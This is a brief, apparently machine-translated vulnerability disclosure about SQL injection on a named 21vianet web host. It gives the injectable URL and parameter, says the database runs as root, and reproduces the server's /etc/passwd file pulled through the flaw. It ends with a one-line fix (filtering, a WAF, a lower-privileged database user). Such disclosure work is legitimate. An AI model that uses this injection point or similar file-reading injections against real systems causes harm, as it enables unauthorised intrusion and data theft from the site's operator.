21 vianet substation SQL Injection Vulnerability

21 vianet substation SQL Injection Vulnerability

Injection point: http://dhs.21vianet.com/dhs/site0.php? ID = 55

User root

Web path leakage caused by improper website Configuration




Obtain the web path.

Set0.php

 

/Etc/passwd



Root: x: 0: 0: root:/bin/bash

Bin: x: 1: 1: bin:/sbin/nologin

Daemon: x: 2: 2: daemon:/sbin/nologin

Adm: x: 3: 4: adm:/var/adm:/sbin/nologin

Lp: x: 4: 7: lp:/var/spool/lpd:/sbin/nologin

Sync: x: 5: 0: sync:/sbin:/bin/sync

Shutdown: x: 6: 0: shutdown:/sbin/shutdown

Halt: x: 7: 0: halt:/sbin/halt

Mail: x: 8: 12: mail:/var/spool/mail:/sbin/nologin

News: x: 9: 13: news:/etc/news:

Uucp: x: 10: 14: uucp:/var/spool/uucp:/sbin/nologin

Operator: x: 11: 0: operator:/root:/sbin/nologin

Games: x: 12: 100: games:/usr/games:/sbin/nologin

Gopher: x: 13: 30: gopher:/var/gopher:/sbin/nologin

Ftp: x: 14: 50: FTP User:/var/ftp:/sbin/nologin

Nobody: x: 99: 99: Nobody: // sbin/nologin

Messages: x: 81: 81: System message bus: // sbin/nologin

Vcsa: x: 69: 69: virtual console memory owner:/dev:/sbin/nologin

Rpm: x: 37: 37:/var/lib/rpm:/sbin/nologin

Haldaemon: x: 68: 68: HAL daemon: // sbin/nologin

Netdump: x: 34: 34: Network Crash Dump user:/var/crash:/bin/bash

Nscd: x: 28: 28: NSCD Daemon: // sbin/nologin

Sshd: x: 74: 74: Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

Rpc: x: 32: 32: Portmapper RPC user: // sbin/nologin

Mailnull: x: 47: 47:/var/spool/mqueue:/sbin/nologin

Smmsp: x: 51: 51:/var/spool/mqueue:/sbin/nologin

Rpcuser: x: 29: 29: RPC Service User:/var/lib/nfs:/sbin/nologin

Nfsnobody: x: 65534: 65534: Anonymous NFS User:/var/lib/nfs:/sbin/nologin

Pcap: x: 77: 77:/var/arpwatch:/sbin/nologin

Apache: x: 48: 48: Apache:/var/www:/sbin/nologin

Squid: x: 23: 23:/var/spool/squid:/sbin/nologin

Webalizer: x: 67: 67: Webalizer:/var/www/usage:/sbin/nologin

Xfs: x: 43: 43: X Font Server:/etc/X11/fs:/sbin/nologin

Ntp: x: 38: 38:/etc/ntp:/sbin/nologin

EM: x: 42: 42:/var/EM:/sbin/nologin

Pegasus: x: 66: 65: tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin

Htt: x: 100: 101: IIIMF Htt:/usr/lib/im:/sbin/nologin

Amanda: x: 33: 6: Amanda user:/var/lib/amanda:/bin/bash

Mysql: x: 101: 102: MySQL server:/var/lib/mysql:/bin/bash

Dhs: x: 500: 48:/home/dhs:/bin/bash

Db: x: 501: 48:/home/db:/bin/bash



 

Solution:

Filter, WAF ~~

Database User downgrading ~~